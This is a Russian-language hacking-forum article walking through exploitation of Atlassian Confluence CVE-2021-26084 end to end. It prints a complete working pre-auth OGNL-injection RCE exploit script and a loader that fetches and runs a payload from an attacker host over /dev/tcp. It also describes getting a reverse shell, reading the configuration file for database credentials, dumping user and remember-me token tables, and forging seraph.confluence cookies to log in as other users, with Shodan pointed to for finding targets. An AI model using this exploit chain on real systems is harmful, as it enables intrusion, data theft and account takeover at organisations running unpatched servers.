What's new

Article Взлом Atlassian Confluence - CVE

Vander 0

Vander

Staff member
Nov 10, 2019
468
1,158
1641649781951.png


Приветствую, гостей форума protey.net.
В этой статье подробно рассмотрим эксплуатацию Atlassian Confluence, покажу как можно использовать недавно обнаруженные критические уязвимости, и как с помощью них можно получить контроль над организацией (компанией) чей IT сектор решил пренебречь собственной безопасностью, в плане своевременных обновлений.

Теперь по порядку:
  • Confluence — тиражируемая вики-система для внутреннего использования организациями с целью создания единой базы знаний. Написана на Java. Разрабатывается австралийской компанией Atlassian, является одним из двух её основных продуктов (наряду с системой отслеживания ошибок Jira). Распространяется под проприетарной лицензией, бесплатна для некоммерческих организаций и открытых проектов.
  • С версии 4.0 не поддерживает вики-разметку встроенными механизмами, но делает это с января 2013 года с помощью плагинов.
Что касается уязвимостей в Confluence, то достаточно часто они встречаются в плагинах, которыми обрастает система по мере её использования, но мы поговорим о тех, которые были обнаружены в самой системе.

1641651003961.png

Уязвимость CVE-2021-26084:
  • CVE-2021-26084 — это уязвимость Confluence, возникшая из-за использования языка Object-Graph Navigation Language (OGNL) в системе тегов. Уязвимость позволяет произвести инъекцию кода на OGNL и таким образом исполнить произвольный код на машинах, где развернут Confluence Server или Confluence Data Center, причем в некоторых случаях эксплуатировать ее может даже неаутентифицированный пользователь (в том случае, если в Confluence включена опция Allow people to sign up to create their account).
  • Atlassian оценивает эту уязвимость как критическую: по системе CVSS ей присвоен рейтинг 9,8. К тому же в Интернете уже появилось несколько демонстраций использования этой уязвимости, в том числе и вариант, допускающий удаленное исполнение кода (RCE).
Кто перед ней уязвим:
  • С перечнем уязвимых версий у Atlassian достаточно сложно — клиенты используют Confluence разных версий и зачастую не спешат переходить на самую свежую (зачем, если и так все работает). Согласно официальному описанию, выпущены обновления для версий 6.13.23, 7.4.11, 7.11.6, 7.12.5 и 7.13.0. Соответственно, CVE-2021-26084 все еще можно проэксплуатировать в версиях, предшествующих 6.13.23, а также версиях начиная с 6.14.0 и до 7.4.11, с 7.5.0 до 7.11.6, с 7.12.0 до 7.12.5. Пользователей Confluence Cloud проблема не затрагивает.
Эксплуатация CVE-2021-26084:

В сети уже давно можно найти опубликованные эксплойты, которые наглядно показывают результат данной уязвимости, в этой статье, я продемонстирую один из таких, с небольшими модификациями, с которыми вы можете поработать на досуге самостоятельно.

Исходный код эксплойта:

Code:
#!/usr/bin/python3

# Exploit Title: Confluence Server Webwork OGNL injection (PreAuth-RCE)
# Google Dork: N/A
# Date: 09/01/2021
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.12.x versions before 7.12.5
# Tested on: Linux Distros
# CVE : CVE-2021-26084

# References:
# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

import requests
import optparse
from bs4 import BeautifulSoup
import optparse
from requests.packages import urllib3
urllib3.disable_warnings()

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://confluencexxx.com")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x", default="/pages/createpage-entervariables.action?SpaceKey=x")

options, args = parser.parse_args()
session = requests.Session()

url_vuln = options.url
endpoint = options.path


if not options.url:

    print('[+] Specify an url target')
    print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')
    print('[+] Example help usage: exploit.py -h')
    exit()


def banner():

    print('---------------------------------------------------------------')
    print('[-] Confluence Server Webwork OGNL injection')
    print('[-] CVE-2021-26084')
    print('[-] https://github.com/h3v0x')
    print('--------------------------------------------------------------- \n')


def cmdExec():

    while True:
      
        cmd = input('> ')
      
        xpl_url = url_vuln + endpoint 
        xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36",
                       "Connection": "close",
                       "Content-Type": "application/x-www-form-urlencoded",
                       "Accept-Encoding": "gzip, deflate"}   
        xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
        rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data, verify=False)

        soup = BeautifulSoup(rawHTML.text, 'html.parser')
        queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
        print(queryStringValue)


banner()
cmdExec()

Чтобы немного расширить его функционал можно добавить следующие конструкции к исходному коду:

Кодирование символов в Unicode:

Code:
def send(cmd):
    cmd = cmd.replace('\\', '\\\\u005c')
    cmd = cmd.replace('"', '\\\\u0022')
    cmd = cmd.replace('\'', '\\\\u0027')
    cmd = cmd.replace('>', '\\\\u003e')
    cmd = cmd.replace('<', '\\\\u003c')
    cmd = cmd.replace('$', '\\\\u0024')
    cmd = cmd.replace('/', '\\\\u002f')
    cmd = cmd.replace('&', '\\\\u0026')
    cmd = cmd.replace('^', '\\\\u005e')

Возможность загрузить постэксплуатационную полезную нагрузку и управлять ей:

Code:
def sendFile(destination):
    if destination and destination[-1] != '/': destination = destination + '/'
    result = send(f"echo \"_get ()                                               \" > {destination}ldl.sh")
    print(result)
    result = send(f"echo \"  {{                                                   \" >> {destination}ldl.sh")
    print(result)
    result = send(f"echo \"  exec 3< /dev/tcp/{HOST}/{PORT}                     \" >> {destination}ldl.sh")
    print(result)
    result = send(f"echo \"  {{                                                   \" >> {destination}ldl.sh")
    print(result)
    result = send(f"echo \"    echo GET /{QUERY} HTTP/1.1                       \" >> {destination}ldl.sh")
    print(result)
    result = send(f"echo \"     echo connection: close                            \" >> {destination}ldl.sh")
    print(result)
    result = send(f"echo \"    echo host: {HOST}                                 \" >> {destination}ldl.sh")
    print(result)
    result = send(f"echo \"    echo                                              \" >> {destination}ldl.sh")
    print(result)
    result = send(f"echo \"  }} >&3                                               \" >> {destination}ldl.sh")
    print(result)
    result = send(f"echo \"  sed '1,7d' <&3 > {destination}\\$(basename {QUERY})        \" >> {destination}ldl.sh")
    print(result)
    result = send(f"echo \"}}                                                     \" >> {destination}ldl.sh")
    print(result)
    result = send(f"echo \"_get                                                  \" >> {destination}ldl.sh")
    print(result)
    result = send(f"bash {destination}ldl.sh")
    print(result)
    result = send(f"chmod +x {destination}cron")
    print(result)
    if destination[0] != '/': destination = '.'+destination
    if not destination: destination = './'
    result = send(f"{destination}cron")
    print(result)


def cmdExec():
    while True:
        cmd = input('> ')
        if 'Khepri!' in cmd:
            print("Sending Khepri!")
            arr = cmd.split()
            if len(arr) == 2:
                path = arr[1]
            else:
                path = ''
            sendFile(path)
            continue
        print(cmd)
        result = send(cmd)
        print(result)

Когда эксплоит будет готов, можно переходить непосредственно к его использованию. В данной статье, я не "прикручиваю" дополнительный функционал к эксплойту, т.к. мне достаточно его базового функционала.

Для наглядности, посмотрим, сколько Confluence серверов можно обнаружить на данный момент в сети по версии Shodan:

Code:
https://www.shodan.io/search?query=x-confluence
1641652882777.png

Полагаю, среди этих двенадцати тысяч, где-то затерялся необновленный сервер Confluence, на проведение экспериментов над которым у вас есть разрешение от его владельца.

Убеждаемся, что всё происходит в рамках закона, и запускаем эксплойт со слебующими параметрами:

Code:
python3 Confluence_OGNLInjection.py -u https://jira.vulnserver.ru/confluence/ -p /pages/createpage-entervariables.action?SpaceKey=x
1641653377028.png

В случае успешной эксплуатации, мы получаем полноценный вывод отправленных команд:

1641653486179.png

На данный момент, мы работаем с системой от пользователя confluence, с этой точки можно начинать работу над повышением привилегий на сервере и прочим, но нас интересует другое.

Примечание:
  • Как правило в confluence хранятся достаточно конфиденциальные данные, конфиги VPN, карты сети, административные учетные записи, личные данные сотрудников и т.д. Изучив эти данные мы можем начать наше продвижение внуть сети компании, оставив локальное повышение привилегий на потом.
Для начала нам необходимо залогиниться в Confluence.

Что для этого необходимо сделать?
  • Изучаем содержимое конфигурационного файла, чтобы получить доступ к базе данных.
Как правило в файле:

Code:
cat /var/atlassian/application-data/confluence/confluence.cfg.xml
1641654459552.png

Содержится вся необходимая информация.

1641654566708.png

Теперь, логичным шагом будет получение обратного шелла, т.к. шелл данного эксплойта не позволит работать с базой данных, ввиду наличия у него многих ограничений.

Делаем это любым удобным способом, я предпочитаю загружать с своего VPS предварительно скомпилированную полезную нагрузку на C, с помощью wget.

Далее подключаемся к базе данных Confluence используя полученные ранее учетные данные:

Code:
/usr/bin/psql -h 192.168.1.1 -p 5432 -d confldb -U confldbuser
В данном случае PostgreSQL был запущен на отдельном хосте в локальной сети.

1641731588588.png

Учетные данные пользователей хранятся в таблице cwd_user, но брутить их большого смысла нет.

Примечание:
  • Хэш имеет реализацию на основе PBKDF2, используемого Atlassian в Jira и других продуктах.
Так как наша цель, это получить доступ к Confluence, то обратим внимание на таблицу:

Code:
remembermetoken
1641732019616.png

Authentication cookies
  • Confluence использует Seraph, платформу с открытым исходным кодом, для аутентификации файлов cookie HTTP. Confluence использует два типа файлов cookie для аутентификации пользователя:
  • Файл cookie JSESSIONID создается сервером приложений и используется для отслеживания сеансов. Этот файл cookie содержит случайную строку, и срок его действия истекает в конце каждого сеанса или при закрытии браузера. Этот файл cookie игнорируется при кластеризации Confluence.
  • Файл cookie «remember me», seraph.confluence, создается Confluence, когда пользователь устанавливает флажок «Запомнить меня» на странице входа. Функция «Запомнить меня» применяется по умолчанию, когда Confluence кластеризуется.
Из этого следует, что завладев данными токенами, мы сможем беспрепятственно залогинится в Confluence под различными пользователями.

Проверяем содержимое таблицы:

1641732824610.png

Из полученного следует, что достаточно много пользователей пользуются кнопкой "Remember me", что практически со 100% вероятностью даст нам доступ к системе.

Короткий путь:
  • Если лень подключаться к таблице и интерактивном режиме, или не получилось пробросить обратный шелл, рекомендую этот однострочник, чтобы отправить содержимое таблицы в файл:
Code:
usr/bin/psql "host=127.0.0.1 port=5432 dbname=confluence user=confluenceuser password=qwerty123" -c 'SELECT * FROM cwd_user;' > 123.txt
Из таблицы копируем ID и Token и составляем из этого значение Cookie:

Code:
id + ": в URL" + token
Должно получится так:

Code:
24936504%3Ae79d5ca14b7e80c35adcdbdf3b37982da2897787
Переходим к странице логина в Confluence, и используя Cookie Editor добавляем параметр:

Code:
seraph.confluence
1641733670890.png

Добавляем составленное ранее значение к этому параметру и обновляем страницу:

1641733925000.png

Дальнейшие действия зависят от ваших целей и фантазии.

Happy Hacking, специально для protey.net
 
Last edited:
Top Bottom